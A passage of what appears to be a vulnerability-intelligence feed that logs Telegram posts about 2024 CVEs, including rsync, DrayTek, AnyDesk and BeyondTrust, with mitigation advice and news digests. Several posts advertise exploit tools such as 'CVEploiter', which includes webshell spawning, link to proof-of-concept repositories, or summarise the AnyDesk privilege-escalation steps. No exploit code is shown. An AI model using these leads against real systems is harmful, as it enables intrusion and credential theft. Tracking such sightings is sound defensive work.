\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "333ce903-7226-45df-b076-7ced04ab4b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12358", "type": "published-proof-of-concept", "source": "https://t.me/Leak_DBMS/1529", "content": "\ud83d\udee1Datax-Web rce CVE-2024-12358\n\ud83d\udca5https://github.com/jxp98/VulResearch/blob/main/2024/12/1.Datax-Web%20-%20Remote%20Code%20Execution.md\n\ud83d\udd16@Leak_DBMS", "creation_timestamp": "2024-12-10T23:15:47.000000Z"}, {"uuid": "da9f3606-05ff-422b-8186-f7c5608ec04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3239", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-27T20:09:16.000000Z"}, {"uuid": "735b5b6e-98fd-4e85-b1e4-1cf42fa3a7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/313", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-02-26T20:19:03.000000Z"}, {"uuid": "6b0a7140-c1c1-44cf-9670-66f8b952ee73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/324", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-03-22T20:01:24.000000Z"}, {"uuid": "15abc8ed-6f33-4dc7-bccf-288945ea17a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "Telegram/bFbvvsWFrdQ5h-XjTeMTF5qtVAXiD5xqM9z_pQQSq8_xqlI", "content": "", "creation_timestamp": "2025-01-07T21:30:05.000000Z"}, {"uuid": "51ff9673-441e-4e6d-bc59-85c598783f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2491", "content": "CVE-2024-12084  Rsync\n\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438: \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n*\nPOC", "creation_timestamp": "2025-01-22T07:01:49.000000Z"}, {"uuid": "212cc3c3-40f3-4cee-9509-45e5ef6bd715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2469", "content": "CVE-2024-12987 \n*\nDrayTek Gateways Vulnerable to Remote Command Injection\nPOC", "creation_timestamp": "2025-01-01T05:22:07.000000Z"}, {"uuid": "e2476b70-0165-45ec-81b7-b16449c379c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2514", "content": "CVE-2024-12754 AnyDesk \n*\nwtf\n*\nLPE poc exploit", "creation_timestamp": "2025-02-10T09:11:08.000000Z"}, {"uuid": "e47c09ee-487b-44cd-99dd-59999bce9f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "Telegram/uGodMUBzhbBn5rLh8fYB_P7GWnyH7GbxjQpQK_uNBitS_Sk", "content": "", "creation_timestamp": "2025-02-21T02:47:42.000000Z"}, {"uuid": "b9833662-a7ed-4088-9984-c11e323b9501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1457", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:50.000000Z"}, {"uuid": "2dfd230d-500d-4f62-a9b5-7619b45a8f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8019", "content": "Penetration/POCs/CVE-2024-12754 at main \u00b7 CICADA8-Research/Penetration \n\nhttps://github.com/CICADA8-Research/Penetration/tree/main/POCs/CVE-2024-12754\n\n#Tools@CyberDilara", "creation_timestamp": "2025-02-25T13:04:42.000000Z"}, {"uuid": "a43822d4-95ab-4957-8653-12173dedcb97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1444", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:51.000000Z"}, {"uuid": "a5183648-3ee8-48d5-9274-30e202a117b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1425", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-27T16:50:04.000000Z"}, {"uuid": "7767a36d-296b-4606-88bd-ab7c25d6bf12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1404", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-03T19:16:45.000000Z"}, {"uuid": "4d4c1064-2ce2-4745-b7d6-71b6eff1f660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1625", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T11:01:27.000000Z"}, {"uuid": "473895dd-7333-4ec5-aa8d-319bb65c2690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1412", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-05-14T19:38:14.000000Z"}, {"uuid": "bc005d91-4a0c-478b-a25d-e334138fac8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1397", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-03-19T16:05:55.000000Z"}, {"uuid": "4be2a7aa-c9f8-4613-b7a4-41faeea53d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1380", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-02-23T22:03:27.000000Z"}, {"uuid": "54336fb6-d008-4ede-9e61-ab7c1488eefc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/zero_day_uz/465", "content": "CVE-2024-12987 \n*\nDrayTek Gateways Vulnerable to Remote Command Injection\nPOC", "creation_timestamp": "2025-01-10T08:17:28.000000Z"}, {"uuid": "36eba812-5bca-4e2d-91b3-2c3dc2e76903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/cyberden_team/530", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T19:39:34.000000Z"}, {"uuid": "3df683f6-20e8-4cf0-8e65-b8da5c4fef3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/CyberSecurityIL/64818", "content": "\u05d0\u05d9\u05e8\u05d5\u05e2\u05d9 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05de\u05d4\u05d9\u05de\u05d9\u05dd \u05d4\u05d0\u05d7\u05e8\u05d5\u05e0\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd:\n\n- \u05d7\u05d1\u05e8\u05ea STIIIZY, \u05d4\u05de\u05e9\u05d5\u05d5\u05e7\u05ea \u05de\u05d5\u05e6\u05e8\u05d9 \u05e7\u05e0\u05d0\u05d1\u05d9\u05e1 \u05e9\u05d5\u05e0\u05d9\u05dd, \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea - \u05e7\u05d1\u05d5\u05e6\u05ea Everest \u05dc\u05d5\u05e7\u05d7\u05ea \u05d0\u05d7\u05e8\u05d9\u05d5\u05ea \u05e2\u05dc \u05d4\u05de\u05ea\u05e7\u05e4\u05d4.\n\n- \u05d0\u05e8\u05d4\u05f4\u05d1 \u05de\u05e2\u05d3\u05db\u05e0\u05ea \u05db\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05d4\u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05e1\u05d9\u05e0\u05d9\u05ea Silk Typhoon \u05d4\u05e6\u05dc\u05d9\u05d7\u05d4 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05d0 \u05e8\u05e7 \u05dc\u05de\u05e9\u05e8\u05d3 \u05d4\u05d0\u05d5\u05e6\u05e8 \u05d0\u05dc\u05d0 \u05d2\u05dd \u05dc\u05d5\u05d5\u05e2\u05d3\u05d4 \u05dc\u05d4\u05e9\u05e7\u05e2\u05d5\u05ea \u05d6\u05e8\u05d5\u05ea (CFIUS).\n\n- \u05de\u05e9\u05e8\u05d3 \u05d4\u05de\u05e9\u05e4\u05d8\u05d9\u05dd \u05d1\u05d0\u05e8\u05d4\u05f4\u05d1 \u05de\u05e4\u05e8\u05e1\u05dd \u05db\u05ea\u05d1\u05d9 \u05d0\u05d9\u05e9\u05d5\u05dd \u05db\u05e0\u05d2\u05d3 \u05e9\u05dc\u05d5\u05e9\u05d4 \u05de\u05e4\u05e2\u05d9\u05dc\u05d9\u05dd \u05e9\u05dc \u05de\u05d9\u05e7\u05e1\u05e8 \u05d4\u05e7\u05e8\u05d9\u05e4\u05d8\u05d5 Blender \u05d5\u05de\u05d9\u05e7\u05e1\u05e8 Sinbad \u05d5\u05de\u05e6\u05d9\u05d9\u05df \u05db\u05d9 \u05d4\u05de\u05d9\u05e7\u05e1\u05e8\u05d9\u05dd \u05e1\u05d9\u05d9\u05e2\u05d5 \u05dc\u05d4\u05dc\u05d1\u05e0\u05d4 \u05e9\u05dc \u05db\u05e1\u05e4\u05d9\u05dd \u05e9\u05d4\u05ea\u05e7\u05d1\u05dc\u05d5 \u05de\u05de\u05ea\u05e7\u05e4\u05d5\u05ea \u05db\u05d5\u05e4\u05e8.\n\n- \u05d7\u05d1\u05e8\u05ea \u05d4\u05ea\u05e7\u05e9\u05d5\u05e8\u05ea \u05d4\u05e1\u05e4\u05e8\u05d3\u05d9\u05ea Telef\u00f3nica \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05d1\u05e2\u05e7\u05d1\u05d5\u05ea \u05d2\u05d9\u05e9\u05d4 \u05d1\u05dc\u05ea\u05d9 \u05de\u05d5\u05e8\u05e9\u05d9\u05ea \u05dc\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05e7\u05e8\u05d9\u05d0\u05d5\u05ea. \u05d4\u05d4\u05d5\u05d3\u05e2\u05d4 \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 \u05de\u05d2\u05d9\u05e2\u05d4 \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e3 \u05e4\u05d9\u05e8\u05e1\u05dd \u05d0\u05ea \u05d4\u05de\u05d9\u05d3\u05e2 \u05dc\u05d4\u05d5\u05e8\u05d3\u05d4 \u05d1\u05d0\u05d7\u05d3 \u05d4\u05e4\u05d5\u05e8\u05d5\u05de\u05d9\u05dd.\n\n- \u05e8\u05e9\u05dd \u05d4\u05d3\u05d5\u05de\u05d9\u05d9\u05e0\u05d9\u05dd \u05d4\u05d1\u05e8\u05d9\u05d8\u05d9 Nominet \u05de\u05d3\u05d5\u05d5\u05d7 \u05db\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd, \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05de\u05e1\u05d9\u05df, \u05e0\u05d9\u05e6\u05dc\u05d5 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-Ivanti \u05db\u05d3\u05d9 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05e8\u05e9\u05ea \u05d4\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05ea.\n\n- \u05e6\u05d5\u05d5\u05ea \u05d4\u05e4\u05d9\u05ea\u05d5\u05d7 \u05e9\u05dc \u05d4\u05de\u05e9\u05d7\u05e7 Path of Exile \u05de\u05d3\u05d5\u05d5\u05d7 \u05db\u05d9 \u05ea\u05d5\u05e7\u05e3 \u05d4\u05e6\u05dc\u05d9\u05d7 \u05dc\u05d2\u05e0\u05d5\u05d1 \u05d7\u05e9\u05d1\u05d5\u05e0\u05d5\u05ea \u05d0\u05d3\u05de\u05d9\u05df \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea\u05dd \u05d4\u05d5\u05d0 \u05e4\u05e8\u05e5 \u05dc\u05d7\u05e9\u05d1\u05d5\u05e0\u05d5\u05ea \u05e9\u05dc \u05e2\u05e9\u05e8\u05d5\u05ea \u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n- \u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05d4\u05e1\u05d9\u05d9\u05d1\u05e8 \u05e9\u05dc \u05d0\u05e8\u05d4\u05f4\u05d1 (CISA) \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05db\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e0\u05e6\u05dc\u05d9\u05dd \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-BeyondTrust \u05db\u05d3\u05d9 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05dd. \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d4\u05d9\u05d0 CVE-2024-12686\n\n- \u05d7\u05d1\u05e8\u05ea Halycon \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05de\u05d7\u05e7\u05e8 \u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05dc\u05e4\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e0\u05dc\u05d9\u05dd \u05d0\u05ea \u05de\u05e0\u05d2\u05e0\u05d5\u05df \u05d4\u05d4\u05e6\u05e4\u05e0\u05d4 \u05d4\u05de\u05d5\u05d1\u05e0\u05d4 \u05e9\u05dc \u05d0\u05de\u05d6\u05d5\u05df \u05d1\u05db\u05d3\u05d9 \u05dc\u05d4\u05e6\u05e4\u05d9\u05df \u05d1\u05d0\u05e7\u05d8\u05d9\u05dd \u05e9\u05dc \u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05d5\u05dc\u05d3\u05e8\u05d5\u05e9 \u05db\u05d5\u05e4\u05e8 \n\n- \u05d4\u05de\u05db\u05dc\u05dc\u05d4 \u05d4\u05d8\u05db\u05e0\u05d5\u05dc\u05d5\u05d2\u05d9\u05ea Eindhoven \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d1\u05d9\u05d8\u05d5\u05dc \u05e9\u05d9\u05e2\u05d5\u05e8\u05d9\u05dd \u05d5\u05d4\u05e8\u05e6\u05d0\u05d5\u05ea \u05d1\u05e2\u05e7\u05d1\u05d5\u05ea \u05de\u05ea\u05e7\u05e4\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8.\n\nhttps://t.me/CyberSecurityIL/6403\n\n#\u05db\u05d5\u05e4\u05e8 #\u05d3\u05dc\u05e3_\u05de\u05d9\u05d3\u05e2", "creation_timestamp": "2025-01-14T13:41:16.000000Z"}, {"uuid": "ede8ea67-69e0-4019-95bf-1811cc3155bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/CyberSecurityIL/63765", "content": "\u05db\u05de\u05d4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05db\u05d3\u05d0\u05d9 \u05dc\u05e9\u05d9\u05dd \u05d0\u05dc\u05d9\u05d4\u05df \u05dc\u05d1:\n\n- \u05d7\u05d1\u05e8\u05ea Fortinet \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1\u05de\u05d5\u05e6\u05e8 FortiWLM. \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 - CVE-2023-34990 \u05de\u05e9\u05e4\u05d9\u05e2\u05d4 \u05e2\u05dc \u05d2\u05e8\u05e1\u05d0\u05d5\u05ea 8.6.0-8.6.5, 8.5.0-8.5.4.\n\n\u05d4\u05d7\u05dc\u05e7 \u05d4\u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05d1\u05e1\u05d9\u05e4\u05d5\u05e8 \u05d4\u05d5\u05d0 \u05e9\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d3\u05d5\u05d5\u05d7\u05d4 \u05dc\u05e4\u05d5\u05e8\u05d8\u05d9 \u05db\u05d1\u05e8 \u05d1\u05de\u05e8\u05e5 23 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d7\u05d5\u05e7\u05e8 \u05d0\u05d1\u05d8\"\u05de \u05d0\u05da \u05dc\u05d0 \u05d8\u05d5\u05e4\u05dc\u05d4.\n\u05dc\u05e4\u05e0\u05d9 \u05d9\u05d5\u05de\u05d9\u05d9\u05dd \u05e4\u05e8\u05e1\u05de\u05d4 \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d4\u05ea\u05d9\u05d9\u05d7\u05e1\u05d5\u05ea \u05dc\u05e0\u05d5\u05e9\u05d0 \u05e2\u05dd \u05d2\u05e8\u05e1\u05d0\u05d5\u05ea \u05de\u05ea\u05d5\u05e7\u05e0\u05d5\u05ea.\n\n\u05d1\u05e7\u05d9\u05e6\u05d5\u05e8, \u05d3\u05d9\u05d5\u05d5\u05d7 \u05e2\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05e0\u05e9\u05dc\u05d7 \u05d1\u05de\u05e8\u05e5 2023 \u05d0\u05da \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05e0\u05e1\u05d2\u05e8\u05d4 \u05e8\u05e7 \u05d0\u05d7\u05e8\u05d9 \u05d9\u05d5\u05ea\u05e8 \u05de\u05e9\u05e0\u05d4 